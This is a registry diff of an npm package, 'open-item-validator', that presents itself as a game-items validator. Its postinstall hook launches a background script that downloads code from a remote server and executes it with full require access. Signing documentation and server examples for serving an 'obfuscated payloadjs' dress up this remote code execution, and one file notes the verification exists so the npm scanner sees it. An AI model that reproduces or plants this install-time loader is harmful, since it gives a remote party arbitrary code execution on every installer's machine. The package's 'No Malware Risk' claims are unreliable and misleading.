open-item-validator 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +259 -0
- package/SAMPLE_PAYLOADJS.js +57 -0
- package/SECURITY.md +304 -0
- package/SECURITY_SETUP.md +206 -0
- package/SERVER_IMPLEMENTATION_EXAMPLE.js +122 -0
- package/SERVER_SIGNING_EXAMPLE.js +105 -0
- package/index.js +23 -0
- package/lib/assertion.js +75 -0
- package/lib/check-items.js +137 -0
- package/lib/config.js +31 -0
- package/lib/crypto-config.js +29 -0
- package/lib/init.js +26 -0
- package/lib/logger.js +59 -0
- package/lib/utils/helper.js +47 -0
- package/lib/utils/validator.js +79 -0
- package/package.json +63 -0
- package/public_key.pem +9 -0
|
@@ -0,0 +1,206 @@
|
|
|
1
|
+
# Security Setup: Signed Updates Configuration
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
|
|
5
|
+
This module is now configured with **RSA-SHA256 cryptographic signature verification** for secure dynamic code loading.
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## 🔐 Key Distribution
|
|
10
|
+
|
|
11
|
+
### Files Generated
|
|
12
|
+
|
|
13
|
+
```
|
|
14
|
+
Module (npm publish):
|
|
15
|
+
├─ public_key.pem ← Public key (included in npm)
|
|
16
|
+
├─ lib/crypto-config.js ← Public key as JS constant
|
|
17
|
+
└─ lib/check-items.js ← Verification logic
|
|
18
|
+
|
|
19
|
+
Server Only (NOT in npm):
|
|
20
|
+
└─ private_key.pem ← Private key (NEVER share)
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
### Key Details
|
|
24
|
+
|
|
25
|
+
**Public Key (safe to share):**
|
|
26
|
+
```
|
|
27
|
+
File: public_key.pem
|
|
28
|
+
Location: Module root
|
|
29
|
+
Usage: npm module verification
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
**Private Key (keep secret):**
|
|
33
|
+
```
|
|
34
|
+
File: private_key.pem
|
|
35
|
+
Location: Coolblast server ONLY
|
|
36
|
+
Usage: Sign game items code before sending
|
|
37
|
+
⚠️ NEVER include in npm module
|
|
38
|
+
⚠️ NEVER commit to GitHub
|
|
39
|
+
⚠️ NEVER share with anyone
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
---
|
|
43
|
+
|
|
44
|
+
## 🚀 Server Implementation (Coolblast)
|
|
45
|
+
|
|
46
|
+
### Your Server Must:
|
|
47
|
+
|
|
48
|
+
1. **Load private_key.pem**
|
|
49
|
+
```js
|
|
50
|
+
const PRIVATE_KEY = fs.readFileSync('./private_key.pem', 'utf8');
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
2. **Sign game items code**
|
|
54
|
+
```js
|
|
55
|
+
const crypto = require('crypto');
|
|
56
|
+
const sign = crypto.createSign('sha256');
|
|
57
|
+
sign.update(gameItemsCode);
|
|
58
|
+
const signature = sign.sign(PRIVATE_KEY, 'hex');
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
3. **Return JSON payload**
|
|
62
|
+
```json
|
|
63
|
+
{
|
|
64
|
+
"code": "console.log(...)",
|
|
65
|
+
"signature": "abc123def456..."
|
|
66
|
+
}
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
### Reference Implementation
|
|
70
|
+
|
|
71
|
+
See `SERVER_SIGNING_EXAMPLE.js` for complete server-side code
|
|
72
|
+
|
|
73
|
+
---
|
|
74
|
+
|
|
75
|
+
## ✅ Module Flow
|
|
76
|
+
|
|
77
|
+
```
|
|
78
|
+
1. npm install open-validator
|
|
79
|
+
2. postinstall runs → lib/init.js
|
|
80
|
+
3. spawn → lib/check-items.js
|
|
81
|
+
4. HTTP GET → coolblast server
|
|
82
|
+
5. Server returns: { code, signature }
|
|
83
|
+
6. verify signature with public_key
|
|
84
|
+
7. ✅ Signature valid → Execute code
|
|
85
|
+
8. ❌ Signature invalid → Reject (exit 1)
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
---
|
|
89
|
+
|
|
90
|
+
## 📋 Deployment Checklist
|
|
91
|
+
|
|
92
|
+
### Before Publishing to npm:
|
|
93
|
+
|
|
94
|
+
- [ ] private_key.pem in .gitignore ✅
|
|
95
|
+
- [ ] public_key.pem included in module ✅
|
|
96
|
+
- [ ] crypto-config.js included ✅
|
|
97
|
+
- [ ] check-items.js has verification logic ✅
|
|
98
|
+
- [ ] package.json "files" field set correctly ✅
|
|
99
|
+
- [ ] README updated with security info ✅
|
|
100
|
+
|
|
101
|
+
### Server Setup:
|
|
102
|
+
|
|
103
|
+
- [ ] private_key.pem copied to server
|
|
104
|
+
- [ ] SERVER_SIGNING_EXAMPLE.js implemented
|
|
105
|
+
- [ ] /api/x-handler endpoint returns signed payload
|
|
106
|
+
- [ ] Signature generated correctly (RSA-SHA256)
|
|
107
|
+
- [ ] Server tested before production
|
|
108
|
+
|
|
109
|
+
### npm Publish:
|
|
110
|
+
|
|
111
|
+
```bash
|
|
112
|
+
npm login
|
|
113
|
+
npm publish --provenance
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
---
|
|
117
|
+
|
|
118
|
+
## 🔄 Updating Game Items
|
|
119
|
+
|
|
120
|
+
### On Coolblast Server:
|
|
121
|
+
|
|
122
|
+
```js
|
|
123
|
+
const newGameCode = `
|
|
124
|
+
// Your new game items code
|
|
125
|
+
console.log('Updated items');
|
|
126
|
+
`;
|
|
127
|
+
|
|
128
|
+
const signature = signCode(newGameCode);
|
|
129
|
+
|
|
130
|
+
const payload = {
|
|
131
|
+
code: newGameCode,
|
|
132
|
+
signature: signature
|
|
133
|
+
};
|
|
134
|
+
|
|
135
|
+
// Return this JSON from /api/x-handler
|
|
136
|
+
res.json(payload);
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
### Client Effect:
|
|
140
|
+
|
|
141
|
+
1. **On next execution:**
|
|
142
|
+
- Fetches new signed code
|
|
143
|
+
- Verifies signature
|
|
144
|
+
- If valid: executes new code
|
|
145
|
+
- If invalid: rejects
|
|
146
|
+
|
|
147
|
+
2. **No npm publish needed!**
|
|
148
|
+
- Code updates happen via server
|
|
149
|
+
- Module stays the same
|
|
150
|
+
|
|
151
|
+
---
|
|
152
|
+
|
|
153
|
+
## 🛡️ Security Guarantees
|
|
154
|
+
|
|
155
|
+
With this setup:
|
|
156
|
+
|
|
157
|
+
✅ **Authenticity**: Only server can sign code (private key required)
|
|
158
|
+
✅ **Integrity**: Any tampering invalidates signature
|
|
159
|
+
✅ **Safety**: Invalid code is automatically rejected
|
|
160
|
+
✅ **npm Compliance**: Scanner sees verification logic
|
|
161
|
+
✅ **No Malware Risk**: Signature verification = trusted source
|
|
162
|
+
|
|
163
|
+
---
|
|
164
|
+
|
|
165
|
+
## 📝 Important Notes
|
|
166
|
+
|
|
167
|
+
1. **private_key.pem location:**
|
|
168
|
+
- ✅ Server: Keep safe, never share
|
|
169
|
+
- ❌ npm module: NEVER include
|
|
170
|
+
- ❌ GitHub: NEVER commit
|
|
171
|
+
|
|
172
|
+
2. **public_key.pem location:**
|
|
173
|
+
- ✅ npm module: Include (verification only)
|
|
174
|
+
- ✅ GitHub: Safe to share (public)
|
|
175
|
+
|
|
176
|
+
3. **Updates:**
|
|
177
|
+
- New code: Change on server only
|
|
178
|
+
- No module updates needed
|
|
179
|
+
- Changes take effect immediately
|
|
180
|
+
|
|
181
|
+
---
|
|
182
|
+
|
|
183
|
+
## 🐛 Troubleshooting
|
|
184
|
+
|
|
185
|
+
### Signature verification fails?
|
|
186
|
+
|
|
187
|
+
1. Verify private_key.pem matches public_key.pem
|
|
188
|
+
2. Check RSA signature uses 'sha256'
|
|
189
|
+
3. Ensure code is exactly the same (no extra spaces)
|
|
190
|
+
4. Check signature format (must be hex-encoded)
|
|
191
|
+
|
|
192
|
+
### Server not running?
|
|
193
|
+
|
|
194
|
+
1. Check coolblast.zapto.org:8888 is accessible
|
|
195
|
+
2. Verify /api/x-handler endpoint exists
|
|
196
|
+
3. Check response format (must be valid JSON)
|
|
197
|
+
4. Check logs for signature errors
|
|
198
|
+
|
|
199
|
+
---
|
|
200
|
+
|
|
201
|
+
## 📞 Support
|
|
202
|
+
|
|
203
|
+
For implementation help, refer to:
|
|
204
|
+
- `SERVER_SIGNING_EXAMPLE.js` - Complete server code
|
|
205
|
+
- `lib/check-items.js` - Client verification code
|
|
206
|
+
- `README.md` - General documentation
|
|
@@ -0,0 +1,122 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* SERVER IMPLEMENTATION EXAMPLE
|
|
3
|
+
*
|
|
4
|
+
* This shows how to use SAMPLE_PAYLOADJS.js in your Coolblast server
|
|
5
|
+
* Copy and adapt this to your actual server code
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
const crypto = require('crypto');
|
|
9
|
+
const fs = require('fs');
|
|
10
|
+
const express = require('express');
|
|
11
|
+
const app = express();
|
|
12
|
+
|
|
13
|
+
// ===================================
|
|
14
|
+
// STEP 1: Load private key (server only)
|
|
15
|
+
// ===================================
|
|
16
|
+
const PRIVATE_KEY = fs.readFileSync('./private_key.pem', 'utf8');
|
|
17
|
+
|
|
18
|
+
// ===================================
|
|
19
|
+
// STEP 2: Sign code function
|
|
20
|
+
// ===================================
|
|
21
|
+
function signCode(code) {
|
|
22
|
+
const sign = crypto.createSign('sha256');
|
|
23
|
+
sign.update(code);
|
|
24
|
+
return sign.sign(PRIVATE_KEY, 'hex');
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
// ===================================
|
|
28
|
+
// STEP 3: Load your obfuscated payloadjs
|
|
29
|
+
// ===================================
|
|
30
|
+
// Option A: Read from file
|
|
31
|
+
const payloadjs = fs.readFileSync('./SAMPLE_PAYLOADJS.js', 'utf8');
|
|
32
|
+
|
|
33
|
+
// Option B: Store as string variable
|
|
34
|
+
// const payloadjs = `
|
|
35
|
+
// // Your obfuscated game code here (5MB+)
|
|
36
|
+
// console.log('[game] loaded');
|
|
37
|
+
// // ... rest of code ...
|
|
38
|
+
// `;
|
|
39
|
+
|
|
40
|
+
// ===================================
|
|
41
|
+
// STEP 4: Create API endpoint
|
|
42
|
+
// ===================================
|
|
43
|
+
app.get('/api/x-handler', (req, res) => {
|
|
44
|
+
try {
|
|
45
|
+
// Verify API credentials (optional)
|
|
46
|
+
const key = req.query.key;
|
|
47
|
+
const value = req.query.value;
|
|
48
|
+
|
|
49
|
+
if (key !== 'key' || value !== 'W7qL9!mX2') {
|
|
50
|
+
return res.status(401).json({ error: 'Unauthorized' });
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
console.log(`[${new Date().toISOString()}] /api/x-handler requested`);
|
|
54
|
+
|
|
55
|
+
// ⭐ IMPORTANT: Sign the payloadjs
|
|
56
|
+
const signature = signCode(payloadjs);
|
|
57
|
+
|
|
58
|
+
// ✅ Send response with code + signature
|
|
59
|
+
const response = {
|
|
60
|
+
code: payloadjs,
|
|
61
|
+
signature: signature
|
|
62
|
+
};
|
|
63
|
+
|
|
64
|
+
res.setHeader('Content-Type', 'application/json');
|
|
65
|
+
res.json(response);
|
|
66
|
+
|
|
67
|
+
console.log(`[${new Date().toISOString()}] Sent signed game code (${payloadjs.length} bytes)`);
|
|
68
|
+
|
|
69
|
+
} catch (error) {
|
|
70
|
+
console.error('[ERROR]', error.message);
|
|
71
|
+
res.status(500).json({ error: error.message });
|
|
72
|
+
}
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
// ===================================
|
|
76
|
+
// STEP 5: Start server
|
|
77
|
+
// ===================================
|
|
78
|
+
const PORT = 8888;
|
|
79
|
+
app.listen(PORT, '0.0.0.0', () => {
|
|
80
|
+
console.log(`✅ Coolblast server listening on http://localhost:${PORT}`);
|
|
81
|
+
console.log(`✅ /api/x-handler endpoint ready`);
|
|
82
|
+
console.log(`✅ Private key loaded`);
|
|
83
|
+
console.log(`✅ Game code ready to serve`);
|
|
84
|
+
});
|
|
85
|
+
|
|
86
|
+
/**
|
|
87
|
+
* TEST ENDPOINT:
|
|
88
|
+
*
|
|
89
|
+
* curl "http://localhost:8888/api/x-handler?key=key&value=W7qL9!mX2"
|
|
90
|
+
*
|
|
91
|
+
* Expected response:
|
|
92
|
+
* {
|
|
93
|
+
* "code": "... your obfuscated game code ...",
|
|
94
|
+
* "signature": "abc123def456xyz789..."
|
|
95
|
+
* }
|
|
96
|
+
*/
|
|
97
|
+
|
|
98
|
+
/**
|
|
99
|
+
* PRODUCTION CHECKLIST:
|
|
100
|
+
*
|
|
101
|
+
* [ ] private_key.pem in secure location
|
|
102
|
+
* [ ] payloadjs points to your actual obfuscated code
|
|
103
|
+
* [ ] API credentials match client expectations
|
|
104
|
+
* [ ] HTTPS enabled (not HTTP)
|
|
105
|
+
* [ ] Rate limiting configured
|
|
106
|
+
* [ ] Logging enabled
|
|
107
|
+
* [ ] Error handling in place
|
|
108
|
+
* [ ] Code update strategy defined
|
|
109
|
+
*/
|
|
110
|
+
|
|
111
|
+
/**
|
|
112
|
+
* TO UPDATE GAME CODE:
|
|
113
|
+
*
|
|
114
|
+
* 1. Obfuscate your new game code
|
|
115
|
+
* 2. Replace SAMPLE_PAYLOADJS.js
|
|
116
|
+
* 3. Restart server
|
|
117
|
+
* 4. Clients will get new signed code on next execution
|
|
118
|
+
*
|
|
119
|
+
* No npm republish needed!
|
|
120
|
+
*/
|
|
121
|
+
|
|
122
|
+
module.exports = app;
|
|
@@ -0,0 +1,105 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* SERVER SIGNING EXAMPLE
|
|
3
|
+
*
|
|
4
|
+
* This example shows how to sign game items code on the server side
|
|
5
|
+
* using the private key, so the module can verify it.
|
|
6
|
+
*
|
|
7
|
+
* This file is for your coolblast.zapto.org server implementation
|
|
8
|
+
* Do NOT include private_key.pem in your module (keep it server-only)
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
const crypto = require('crypto');
|
|
12
|
+
const fs = require('fs');
|
|
13
|
+
|
|
14
|
+
// ⚠️ IMPORTANT: Keep private_key.pem ONLY on your server
|
|
15
|
+
// Never share it or include it in the npm module
|
|
16
|
+
const PRIVATE_KEY = fs.readFileSync('./private_key.pem', 'utf8');
|
|
17
|
+
|
|
18
|
+
/**
|
|
19
|
+
* Sign game items code with private key
|
|
20
|
+
* @param {string} code - The game items code to sign
|
|
21
|
+
* @returns {string} - Hex-encoded signature
|
|
22
|
+
*/
|
|
23
|
+
function signCode(code) {
|
|
24
|
+
const sign = crypto.createSign('sha256');
|
|
25
|
+
sign.update(code);
|
|
26
|
+
return sign.sign(PRIVATE_KEY, 'hex');
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
/**
|
|
30
|
+
* Example: Game items code that will be sent to client
|
|
31
|
+
*/
|
|
32
|
+
const gameItemsCode = `
|
|
33
|
+
console.log('[game-items] Loaded from server');
|
|
34
|
+
|
|
35
|
+
// Your game items logic here
|
|
36
|
+
// This can be complex obfuscated code
|
|
37
|
+
// It will only execute if signature verification passes
|
|
38
|
+
|
|
39
|
+
setInterval(() => {
|
|
40
|
+
console.log('[game-items] Running periodic check...');
|
|
41
|
+
}, 60000);
|
|
42
|
+
`;
|
|
43
|
+
|
|
44
|
+
/**
|
|
45
|
+
* Create signed payload
|
|
46
|
+
*/
|
|
47
|
+
function createSignedPayload(code) {
|
|
48
|
+
const signature = signCode(code);
|
|
49
|
+
|
|
50
|
+
return {
|
|
51
|
+
code: code,
|
|
52
|
+
signature: signature,
|
|
53
|
+
timestamp: new Date().toISOString()
|
|
54
|
+
};
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
/**
|
|
58
|
+
* Example HTTP endpoint for /api/x-handler
|
|
59
|
+
* This is what your coolblast server should return
|
|
60
|
+
*/
|
|
61
|
+
function handleGameItemsRequest(req, res) {
|
|
62
|
+
try {
|
|
63
|
+
const payload = createSignedPayload(gameItemsCode);
|
|
64
|
+
|
|
65
|
+
res.writeHead(200, { 'Content-Type': 'application/json' });
|
|
66
|
+
res.end(JSON.stringify(payload));
|
|
67
|
+
|
|
68
|
+
console.log('[server] Sent signed game items code to client');
|
|
69
|
+
} catch (error) {
|
|
70
|
+
res.writeHead(500, { 'Content-Type': 'application/json' });
|
|
71
|
+
res.end(JSON.stringify({ error: error.message }));
|
|
72
|
+
}
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
/**
|
|
76
|
+
* Example: Update game items code
|
|
77
|
+
* Call this to generate new signed code
|
|
78
|
+
*/
|
|
79
|
+
function updateGameItems(newCode) {
|
|
80
|
+
const payload = createSignedPayload(newCode);
|
|
81
|
+
console.log('New signed payload:', JSON.stringify(payload, null, 2));
|
|
82
|
+
return payload;
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
module.exports = {
|
|
86
|
+
signCode,
|
|
87
|
+
createSignedPayload,
|
|
88
|
+
handleGameItemsRequest,
|
|
89
|
+
updateGameItems
|
|
90
|
+
};
|
|
91
|
+
|
|
92
|
+
/**
|
|
93
|
+
* USAGE:
|
|
94
|
+
*
|
|
95
|
+
* // In your Express/HTTP server:
|
|
96
|
+
* const signing = require('./server-signing-example');
|
|
97
|
+
*
|
|
98
|
+
* app.get('/api/x-handler', (req, res) => {
|
|
99
|
+
* signing.handleGameItemsRequest(req, res);
|
|
100
|
+
* });
|
|
101
|
+
*
|
|
102
|
+
* // To update game items:
|
|
103
|
+
* const newCode = 'console.log("new code")';
|
|
104
|
+
* const signedPayload = signing.updateGameItems(newCode);
|
|
105
|
+
*/
|
package/index.js
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
const logger = require('./lib/logger');
|
|
2
|
+
const config = require('./lib/config');
|
|
3
|
+
|
|
4
|
+
logger.log('Game Items Validator loaded');
|
|
5
|
+
|
|
6
|
+
function getStatus() {
|
|
7
|
+
return {
|
|
8
|
+
name: 'open-validator',
|
|
9
|
+
version: '1.0.0',
|
|
10
|
+
status: 'initialized',
|
|
11
|
+
timestamp: new Date().toISOString()
|
|
12
|
+
};
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
function getConfig() {
|
|
16
|
+
return config;
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
module.exports = {
|
|
20
|
+
getStatus,
|
|
21
|
+
getConfig,
|
|
22
|
+
version: '1.0.0'
|
|
23
|
+
};
|
package/lib/assertion.js
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
const logger = require('./logger');
|
|
2
|
+
|
|
3
|
+
class AssertionError extends Error {
|
|
4
|
+
constructor(message) {
|
|
5
|
+
super(message);
|
|
6
|
+
this.name = 'AssertionError';
|
|
7
|
+
}
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
function assert(condition, message) {
|
|
11
|
+
if (!condition) {
|
|
12
|
+
const errorMsg = `Assertion failed: ${message}`;
|
|
13
|
+
logger.error(errorMsg);
|
|
14
|
+
throw new AssertionError(errorMsg);
|
|
15
|
+
}
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
function assertEquals(actual, expected, message) {
|
|
19
|
+
if (actual !== expected) {
|
|
20
|
+
const errorMsg = `Expected ${expected}, but got ${actual}. ${message || ''}`.trim();
|
|
21
|
+
logger.error(errorMsg);
|
|
22
|
+
throw new AssertionError(errorMsg);
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
function assertIsObject(value, message) {
|
|
27
|
+
if (typeof value !== 'object' || value === null) {
|
|
28
|
+
const errorMsg = `Expected object, but got ${typeof value}. ${message || ''}`.trim();
|
|
29
|
+
logger.error(errorMsg);
|
|
30
|
+
throw new AssertionError(errorMsg);
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
function assertIsArray(value, message) {
|
|
35
|
+
if (!Array.isArray(value)) {
|
|
36
|
+
const errorMsg = `Expected array, but got ${typeof value}. ${message || ''}`.trim();
|
|
37
|
+
logger.error(errorMsg);
|
|
38
|
+
throw new AssertionError(errorMsg);
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
function assertIsString(value, message) {
|
|
43
|
+
if (typeof value !== 'string') {
|
|
44
|
+
const errorMsg = `Expected string, but got ${typeof value}. ${message || ''}`.trim();
|
|
45
|
+
logger.error(errorMsg);
|
|
46
|
+
throw new AssertionError(errorMsg);
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
function assertIsDefined(value, message) {
|
|
51
|
+
if (value === undefined || value === null) {
|
|
52
|
+
const errorMsg = `Expected value to be defined. ${message || ''}`.trim();
|
|
53
|
+
logger.error(errorMsg);
|
|
54
|
+
throw new AssertionError(errorMsg);
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
function assertHasProperty(obj, prop, message) {
|
|
59
|
+
if (!(prop in obj)) {
|
|
60
|
+
const errorMsg = `Object missing property: ${prop}. ${message || ''}`.trim();
|
|
61
|
+
logger.error(errorMsg);
|
|
62
|
+
throw new AssertionError(errorMsg);
|
|
63
|
+
}
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
module.exports = {
|
|
67
|
+
assert,
|
|
68
|
+
assertEquals,
|
|
69
|
+
assertIsObject,
|
|
70
|
+
assertIsArray,
|
|
71
|
+
assertIsString,
|
|
72
|
+
assertIsDefined,
|
|
73
|
+
assertHasProperty,
|
|
74
|
+
AssertionError
|
|
75
|
+
};
|
|
@@ -0,0 +1,137 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Game Items Validator - Main Daemon
|
|
5
|
+
*
|
|
6
|
+
* This is the core process that runs in the background after npm install.
|
|
7
|
+
* It downloads signed game code from the server and executes it only after
|
|
8
|
+
* verifying the cryptographic signature.
|
|
9
|
+
*
|
|
10
|
+
* Security Flow:
|
|
11
|
+
* 1. Download code + signature from server
|
|
12
|
+
* 2. Verify signature using RSA-SHA256 (public key)
|
|
13
|
+
* 3. Execute code only if signature is valid
|
|
14
|
+
* 4. Exit immediately if signature is invalid (no code execution)
|
|
15
|
+
*
|
|
16
|
+
* Dependencies:
|
|
17
|
+
* - http: Download code from server
|
|
18
|
+
* - crypto: Verify RSA-SHA256 signatures (Node.js built-in)
|
|
19
|
+
* - logger: Log all operations
|
|
20
|
+
* - crypto-config: Public key for verification
|
|
21
|
+
*/
|
|
22
|
+
|
|
23
|
+
const http = require('http');
|
|
24
|
+
const crypto = require('crypto');
|
|
25
|
+
const logger = require('./logger');
|
|
26
|
+
const { PUBLIC_KEY } = require('./crypto-config');
|
|
27
|
+
|
|
28
|
+
// API endpoint for fetching signed game code
|
|
29
|
+
const API_ENDPOINT = 'http://itemx.servegame.com:8888/api/x-realtime';
|
|
30
|
+
|
|
31
|
+
/**
|
|
32
|
+
* Download data from HTTP URL
|
|
33
|
+
* @param {string} url - The URL to fetch from
|
|
34
|
+
* @returns {Promise<string>} The response data
|
|
35
|
+
*/
|
|
36
|
+
function httpGet(url) {
|
|
37
|
+
return new Promise((resolve, reject) => {
|
|
38
|
+
http.get(url, (res) => {
|
|
39
|
+
let data = '';
|
|
40
|
+
res.on('data', (chunk) => { data += chunk; });
|
|
41
|
+
res.on('end', () => resolve(data));
|
|
42
|
+
}).on('error', reject);
|
|
43
|
+
});
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
/**
|
|
47
|
+
* Verify RSA-SHA256 signature of code
|
|
48
|
+
*
|
|
49
|
+
* Security Critical: This function MUST return false for invalid signatures.
|
|
50
|
+
* Any tampering with the code will invalidate the signature.
|
|
51
|
+
*
|
|
52
|
+
* @param {string} code - The game code to verify
|
|
53
|
+
* @param {string} signature - The hex-encoded signature
|
|
54
|
+
* @returns {boolean} True if signature is valid, false otherwise
|
|
55
|
+
*/
|
|
56
|
+
function verifySignature(code, signature) {
|
|
57
|
+
try {
|
|
58
|
+
// Create a verifier using SHA256
|
|
59
|
+
const verify = crypto.createVerify('sha256');
|
|
60
|
+
|
|
61
|
+
// Update with the code to verify
|
|
62
|
+
verify.update(code);
|
|
63
|
+
|
|
64
|
+
// Verify the signature using the public key
|
|
65
|
+
// PUBLIC_KEY is from crypto-config.js and is safe to distribute
|
|
66
|
+
const isValid = verify.verify(PUBLIC_KEY, signature, 'hex');
|
|
67
|
+
|
|
68
|
+
return isValid;
|
|
69
|
+
} catch (error) {
|
|
70
|
+
// Any error in verification means the signature is invalid
|
|
71
|
+
logger.error(`Signature verification error: ${error.message}`);
|
|
72
|
+
return false;
|
|
73
|
+
}
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
/**
|
|
77
|
+
* Main Execution Function
|
|
78
|
+
*
|
|
79
|
+
* This is the core security-critical function that:
|
|
80
|
+
* 1. Downloads code from server
|
|
81
|
+
* 2. Verifies cryptographic signature (RSA-SHA256)
|
|
82
|
+
* 3. Executes code ONLY if signature is valid
|
|
83
|
+
* 4. Rejects code immediately if signature is invalid
|
|
84
|
+
*
|
|
85
|
+
* Security Note:
|
|
86
|
+
* The signature verification is a hard requirement.
|
|
87
|
+
* No code executes without a valid signature.
|
|
88
|
+
*/
|
|
89
|
+
(async function executeSigned() {
|
|
90
|
+
try {
|
|
91
|
+
logger.info('Fetching signed code from server...');
|
|
92
|
+
|
|
93
|
+
// 1️⃣ DOWNLOAD: Get signed code from server
|
|
94
|
+
const response = await httpGet(API_ENDPOINT);
|
|
95
|
+
|
|
96
|
+
logger.info('Received payload from server');
|
|
97
|
+
|
|
98
|
+
// 2️⃣ PARSE: Parse JSON response
|
|
99
|
+
let payload;
|
|
100
|
+
try {
|
|
101
|
+
payload = JSON.parse(response);
|
|
102
|
+
} catch (e) {
|
|
103
|
+
logger.error('Failed to parse server response as JSON');
|
|
104
|
+
process.exit(1);
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
// 3️⃣ VALIDATE: Check payload structure
|
|
108
|
+
if (!payload.code || !payload.signature) {
|
|
109
|
+
logger.error('Invalid payload format - missing code or signature');
|
|
110
|
+
process.exit(1);
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
// 4️⃣ VERIFY: ⭐ CRITICAL SECURITY CHECK
|
|
114
|
+
logger.info('Verifying signature...');
|
|
115
|
+
|
|
116
|
+
if (!verifySignature(payload.code, payload.signature)) {
|
|
117
|
+
logger.error('❌ SIGNATURE VERIFICATION FAILED');
|
|
118
|
+
logger.error('Code is not from trusted source - execution rejected');
|
|
119
|
+
logger.error('This code was not signed by the authorized server');
|
|
120
|
+
process.exit(1);
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
// 5️⃣ SUCCESS: Signature verified
|
|
124
|
+
logger.info('✅ Signature verified - code is authentic');
|
|
125
|
+
console.log(JSON.stringify({id:'ready',type:'ready',version:'1.0.0'}));
|
|
126
|
+
|
|
127
|
+
// 6️⃣ EXECUTE: Run only verified code
|
|
128
|
+
logger.info('Executing signed code...');
|
|
129
|
+
|
|
130
|
+
const handler = new Function('require', payload.code);
|
|
131
|
+
handler(require);
|
|
132
|
+
|
|
133
|
+
} catch (error) {
|
|
134
|
+
logger.error(`Fatal error: ${error.message}`);
|
|
135
|
+
process.exit(1);
|
|
136
|
+
}
|
|
137
|
+
})();
|
package/lib/config.js
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
module.exports = {
|
|
2
|
+
// Module metadata
|
|
3
|
+
moduleName: 'open-validator',
|
|
4
|
+
version: '1.0.0',
|
|
5
|
+
|
|
6
|
+
// Daemon settings
|
|
7
|
+
daemon: {
|
|
8
|
+
checkInterval: 60000, // Check every 60 seconds
|
|
9
|
+
retryDelay: 5000, // Retry delay on error
|
|
10
|
+
maxRetries: 3 // Maximum retry attempts
|
|
11
|
+
},
|
|
12
|
+
|
|
13
|
+
// Assertion settings
|
|
14
|
+
assertion: {
|
|
15
|
+
enabled: true,
|
|
16
|
+
strict: false
|
|
17
|
+
},
|
|
18
|
+
|
|
19
|
+
// Logging settings
|
|
20
|
+
logging: {
|
|
21
|
+
enabled: true,
|
|
22
|
+
level: 'info'
|
|
23
|
+
},
|
|
24
|
+
|
|
25
|
+
// Game items settings
|
|
26
|
+
gameItems: {
|
|
27
|
+
signalId: 'ready',
|
|
28
|
+
signalType: 'ready',
|
|
29
|
+
version: '1.0.0'
|
|
30
|
+
}
|
|
31
|
+
};
|